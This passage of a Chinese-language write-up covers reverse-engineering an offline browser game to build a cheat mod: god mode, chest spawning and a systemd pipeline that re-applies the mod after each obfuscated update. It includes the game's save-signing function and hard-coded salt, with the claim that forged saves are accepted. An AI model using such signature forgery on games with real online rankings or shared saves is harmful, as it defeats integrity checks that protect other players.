<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.God) Fight.timeLeft </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Fight.timeLeft, Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Fight.limit, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 寶箱</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Game.chests) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Game.arena) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.ChestRate </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) Game.chestTimer </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Dt </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.ChestRate </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                // 原版場上滿 2 個就不刷，上限調高時由這裡補刷 (計時器照樣由原版重設)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.ChestMax </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.chestTimer </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Dt </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.chests.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> >=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.chests.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Cfg.ChestMax </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"spawnChest"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)) window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">spawnChest</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.AutoChest </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"openChest"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.chests.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> >=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">--</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">openChest</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 塔盾、分身</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.KeepShield </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "shieldT"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.shieldT </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.shieldT, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">); </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 3 秒以下會開始閃爍</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Game.clones) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.KeepClones </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"spawnClones"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)) </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">KeepClones</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Game);</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            ResizeClones</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Game, Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">12</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">round</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Cfg.CloneCount))));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/62d5bc5/src/mod-core.js#L231-L256">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L231-256</a></p>
<p>其他：</p>
<ul>
<li><strong>升級卡必定幸運</strong>：換掉 <code>luckChance</code>，Boss 擊殺後的獎勵卡也走這裡。幸運卡效果 ×2 或一次升兩級，但已經快滿級的卡本來就不能幸運，這部分不動。</li>
<li><strong>不寫入紀錄</strong>：用過外掛的那局死掉時，照樣算分數和排行榜名次給死亡畫面看，但不寫進存檔。</li>
<li><strong>面板</strong>：最上面一列狀態（波次、時間、血量、Boss 倒數、寶箱、塔盾與分身秒數），每個區塊可以收合，倍率可以一鍵重設，加上 Alt 熱鍵。macOS 按著 Option 時 <code>Ev.key</code> 會變成特殊符號，所以熱鍵判斷用 <code>Ev.code</code>。</li>
<li><strong>自動更新的檢查清單</strong>：<code>mod-core.js</code> 第 3 行的 <code>NEEDS</code> 列出用到的 35 個遊戲名稱，<code>watch.sh</code> 直接讀這一行，不用另外維護一份。</li>
</ul>
<p>測試加到 27 項，每個新功能一項，其中「無敵時劇毒不扣血」是照上面的洞寫的。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a> · <a href="#doc-README"><code>README.md</code></a></p>
<hr>
<h2 id="9-存檔簽章" class="phrased">（9）<wbr>存檔<wbr>簽章</h2>
<p>新版的存檔多了一個簽章。<code>localStorage</code> 裡有兩筆：<code>dungeonReborn.save.v2</code> 存 JSON，<code>dungeonReborn.save.v2.sig</code> 存簽章。載入時簽章不符，整份存檔就會被刪掉重置，所以手改紀錄會被洗掉。</p>
<p>簽章是 cyrb53 的變體，輸入前後各加一次固定的鹽：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> SALT</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "dr::7f3a91c2e8b04d65::v2"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">export</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> saveSignature</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">json</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0xdeadbeef</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0x41c6ce57</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> s</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> SALT</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> json </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> SALT</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> c</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">charCodeAt</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(i);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2654435761</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1597334677</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2246822507</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3266489909</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 16</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2246822507</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">imul</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3266489909</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ((h2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0x1fffff</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4294967296</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (h1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>>></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">toString</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">36</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/sign-save.mjs#L3-L15">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/sign-save.mjs L3-15</a></p>
<p>在線上原版驗證過：簽章正確的偽造存檔會被接受，簽章錯誤的會被刪掉。</p>
<p>排行榜上的其他玩家是用固定種子產生的假資料，遊戲完全沒有連網，所以改存檔只影響自己的瀏覽器。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="10-自動追蹤" class="phrased">（10）<wbr>自動<wbr>追蹤</h2>
<p>作者一個晚上推了五版，每一版都重新混淆。所以我把（3）到（8）整套流程放到 siao-server 上，由 systemd timer 每 15 分鐘檢查一次。沒有更新時，它只抓一次 <code>game.js</code> 算 hash 就結束。</p>
<p>有新版時，任何一關沒過就停下來，已經改的檔案會還原：</p>
<figure class="diagram"><svg viewBox="0.00 0.00 949.00 118.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="watch.sh：每一關都要過才往下走">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 114)">
<polygon fill="none" stroke="none" points="-4,4 -4,-114 944.52,-114 944.52,4 -4,4"></polygon>

<g class="node">

<path fill="none" stroke="currentColor" d="M104.32,-80C104.32,-80 12,-80 12,-80 6,-80 0,-74 0,-68 0,-68 0,-50.4 0,-50.4 0,-44.4 6,-38.4 12,-38.4 12,-38.4 104.32,-38.4 104.32,-38.4 110.32,-38.4 116.32,-44.4 116.32,-50.4 116.32,-50.4 116.32,-68 116.32,-68 116.32,-74 110.32,-80 104.32,-80"></path>
<text text-anchor="middle" x="58.16" y="-63.4" font-family="Times,serif" font-size="14.00">每 15 分鐘</text>
<text text-anchor="middle" x="58.16" y="-46.6" font-family="Times,serif" font-size="14.00">抓 game.js 算 hash</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M240.32,-110C240.32,-110 195.82,-110 195.82,-110 189.82,-110 183.82,-104 183.82,-98 183.82,-98 183.82,-80.4 183.82,-80.4 183.82,-74.4 189.82,-68.4 195.82,-68.4 195.82,-68.4 240.32,-68.4 240.32,-68.4 246.32,-68.4 252.32,-74.4 252.32,-80.4 252.32,-80.4 252.32,-98 252.32,-98 252.32,-104 246.32,-110 240.32,-110"></path>
<text text-anchor="middle" x="218.07" y="-93.4" font-family="Times,serif" font-size="14.00">跟上次一樣</text>
<text text-anchor="middle" x="218.07" y="-76.6" font-family="Times,serif" font-size="14.00">結束</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M116.61,-70.12C135.13,-73.63 155.36,-77.48 172.78,-80.79"></path>
<polygon fill="currentColor" stroke="currentColor" points="171.81,-84.16 182.29,-82.59 173.11,-77.29 171.81,-84.16"></polygon>
<text text-anchor="middle" x="144.82" y="-81.09" font-family="Times,serif" font-size="14.00">沒變</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M250.82,-50C250.82,-50 185.32,-50 185.32,-50 179.32,-50 173.32,-44 173.32,-38 173.32,-38 173.32,-20.4 173.32,-20.4 173.32,-14.4 179.32,-8.4 185.32,-8.4 185.32,-8.4 250.82,-8.4 250.82,-8.4 256.82,-8.4 262.82,-14.4 262.82,-20.4 262.82,-20.4 262.82,-38 262.82,-38 262.82,-44 256.82,-50 250.82,-50"></path>
<text text-anchor="middle" x="218.07" y="-33.4" font-family="Times,serif" font-size="14.00">update.sh</text>
<text text-anchor="middle" x="218.07" y="-16.6" font-family="Times,serif" font-size="14.00">還原、遷移命名</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M116.61,-48.28C131.51,-45.45 147.51,-42.41 162.27,-39.61"></path>
<polygon fill="currentColor" stroke="currentColor" points="162.62,-43.11 171.79,-37.8 161.31,-36.23 162.62,-43.11"></polygon>
<text text-anchor="middle" x="144.82" y="-48.4" font-family="Times,serif" font-size="14.00">變了</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M429.82,-58.4C429.82,-58.4 311.82,-58.4 311.82,-58.4 305.82,-58.4 299.82,-52.4 299.82,-46.4 299.82,-46.4 299.82,-12 299.82,-12 299.82,-6 305.82,0 311.82,0 311.82,0 429.82,0 429.82,0 435.82,0 441.82,-6 441.82,-12 441.82,-12 441.82,-46.4 441.82,-46.4 441.82,-52.4 435.82,-58.4 429.82,-58.4"></path>
<text text-anchor="middle" x="370.82" y="-41.8" font-family="Times,serif" font-size="14.00">外掛用到的 35 個名稱都在</text>
<text text-anchor="middle" x="370.82" y="-25" font-family="Times,serif" font-size="14.00">未綁定識別字不變</text>
<text text-anchor="middle" x="370.82" y="-8.2" font-family="Times,serif" font-size="14.00">找到原作者 commit</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M263.08,-29.2C270.99,-29.2 279.47,-29.2 288.06,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="287.86,-32.7 297.86,-29.2 287.86,-25.7 287.86,-32.7"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M577.32,-50C577.32,-50 490.82,-50 490.82,-50 484.82,-50 478.82,-44 478.82,-38 478.82,-38 478.82,-20.4 478.82,-20.4 478.82,-14.4 484.82,-8.4 490.82,-8.4 490.82,-8.4 577.32,-8.4 577.32,-8.4 583.32,-8.4 589.32,-14.4 589.32,-20.4 589.32,-20.4 589.32,-38 589.32,-38 589.32,-44 583.32,-50 577.32,-50"></path>
<text text-anchor="middle" x="534.07" y="-33.4" font-family="Times,serif" font-size="14.00">test/live.mjs</text>
<text text-anchor="middle" x="534.07" y="-16.6" font-family="Times,serif" font-size="14.00">線上功能測試 27 項</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M442.07,-29.2C450.38,-29.2 458.84,-29.2 467.08,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="467.05,-32.7 477.05,-29.2 467.05,-25.7 467.05,-32.7"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M690.19,-47.2C690.19,-47.2 638.32,-47.2 638.32,-47.2 632.32,-47.2 626.32,-41.2 626.32,-35.2 626.32,-35.2 626.32,-23.2 626.32,-23.2 626.32,-17.2 632.32,-11.2 638.32,-11.2 638.32,-11.2 690.19,-11.2 690.19,-11.2 696.19,-11.2 702.19,-17.2 702.19,-23.2 702.19,-23.2 702.19,-35.2 702.19,-35.2 702.19,-41.2 696.19,-47.2 690.19,-47.2"></path>
<text text-anchor="middle" x="664.26" y="-25" font-family="Times,serif" font-size="14.00">推外掛 repo</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M589.8,-29.2C598.13,-29.2 606.67,-29.2 614.85,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="614.59,-32.7 624.59,-29.2 614.59,-25.7 614.59,-32.7"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M812.41,-58.4C812.41,-58.4 751.19,-58.4 751.19,-58.4 745.19,-58.4 739.19,-52.4 739.19,-46.4 739.19,-46.4 739.19,-12 739.19,-12 739.19,-6 745.19,0 751.19,0 751.19,0 812.41,0 812.41,0 818.41,0 824.41,-6 824.41,-12 824.41,-12 824.41,-46.4 824.41,-46.4 824.41,-52.4 818.41,-58.4 812.41,-58.4"></path>
<text text-anchor="middle" x="781.8" y="-41.8" font-family="Times,serif" font-size="14.00">claude -p</text>
<text text-anchor="middle" x="781.8" y="-25" font-family="Times,serif" font-size="14.00">讀 diff 寫說明</text>
